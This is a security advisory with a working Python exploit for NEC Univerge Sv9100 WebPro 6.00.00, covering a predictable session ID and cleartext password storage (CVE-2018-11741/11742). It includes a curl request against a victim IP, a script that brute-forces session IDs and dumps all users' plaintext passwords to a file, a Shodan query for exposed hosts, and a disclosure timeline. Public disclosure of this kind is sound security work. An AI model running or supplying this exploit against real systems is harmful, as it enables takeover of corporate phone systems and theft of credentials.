[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/NEC-UNIVERGE-WEBPRO-v6.00-PREDICTABLE-SESSIONID-CLEARTEXT-PASSWORDS.txt
[+] ISR: ApparitionSec   


***Greetz: indoushka | Eduardo B. 0day***


[Vendor]
www.necam.com


[Affected Product Code Base]
NEC Univerge Sv9100 WebPro - 6.00.00


NEC Univerge WebPro, is a web-based programming tool for the NEC Switch, which is used to program corporate Telephone systems.


Public facing installations as of Dec 1, 2018
https://www.shodan.io/search?query=Server+Henry
Result: 7,797 


[Vulnerability Type(s)]
[CVE Reference(s)]
Predictable Session ID - CVE-2018-11741 / Cleartext Password Storage - CVE-2018-11742



[Attack Vectors]
Make repeated remote HTTP requests until arriving at a valid authenticated sessionId.


Security Issue:
================
NEC Univerge WebPro suffers from a "Predictable Session ID" that can potentially disclose all user account information including passwords stored in clear text in the Web UI.
Attackers can simply increment numbers until arriving at a live session, then by using a specific URI dump the entire account information for all users including the clear text passwords.

e.g..

curl  http://NEC-VICTIM-IP/Home.htm?sessionId=12959&GOTO(8)


Exploit/POC:
=============
from socket import *
import re

#Univerge Sv9100 NEC WebPro : 6.00
#Dumps user accounts and plaintext passwords stored in Web UI in Administrator Programming Password Setup' webpage
#http://TARGET-IP/Home.htm?sessionId=12959&GOTO(8) "GOTO(8)" will retrieve all account usernames and cleartext passwords.

print "NEC Univerge Sv9100 WebPro - 6.00.00 / Remote 0day Exploit POC"
print "hyp3rlinx"


IP=raw_input("[+] TARGET> ")
res=''
findme="Programming Password Setup"
cnt=0
tmp=False
tmp2=False
pwned=False

#check application is NEC and vuln version
def is_NEC_webpro(u):
    global tmp,tmp2,cnt
    res=''
    cnt+=1
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((IP,80))
    s.send('GET '+u+' HTTP/1.1\r\nHost: '+IP+'\r\n\r\n')

    while True:
        res=s.recv(4048)
        if res.find('</html>')!=-1:
            break   
    s.close()
    
    if re.findall(r"\bWebPro\b", res):
        tmp=True
        if tmp and cnt < 3:
            is_NEC_webpro('/Login.htm')
            if re.findall(r"\b6.00.00\b", res) and re.findall(r"\bNEC Corporation of America\b", res):
                tmp2 = True
            if tmp == True and tmp2 == True:
                return True
    return False



def dump(acct):
    file=open('NEC-Accounts.txt', 'w')
    file.write(acct+'\n')
    file.close()


def breach(sid):
    global pwned
    try:
        s=socket(AF_INET, SOCK_STREAM)
        s.connect((IP,80))
        sid=str(sid)
        print 'trying sessid '+sid
        s.send('GET /Home.htm?sessionId%3d'+sid+'&GOTO(8)%20HTTP/1.1\r\nHost: '+IP+'\r\n\r\n')
    except Exception as e:
        print str(e)
        
    while True:
        res = s.recv(4096)
        if res.find('</html>')!=-1:
            break
        if re.findall(r"\bProgramming Password Setup\b",res)!=-1: ## We hit an active session.
            dump(res)
            print res
            pwned=True
       
    s.close()
    return pwned


def sessgen():
    for sessid in range(1000,15000): ##test 14109
        if breach(sessid):
            break


if __name__=='__main__':
    if is_NEC_webpro('/'):
        sessgen()
    else:
        print 'Not NEC or version not vuln.'





Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification:  May 15, 2018
No reply
Vendor Notification: May 18, 2018
No reply
Vendor Notification:  June 4, 2018
No reply
Mitre assign CVE: June 5, 2018
JPCERT replies: June 6, 2018
JPCERT shares information with NEC : June 7, 2018
Request status : August 11, 2018
JPCERT contact NEC : August 14, 2018
No reply from vendor
Request status : August 21, 2018
JPCERT again contacts NEC : August 21, 2018
JPCERT "vendor working on a release" : August 23 2018
JPCERT "Vendor release October 2018" : September 12, 2018
NEC "Requests public disclosure after December 1st." : November 19, 2018
December 2, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx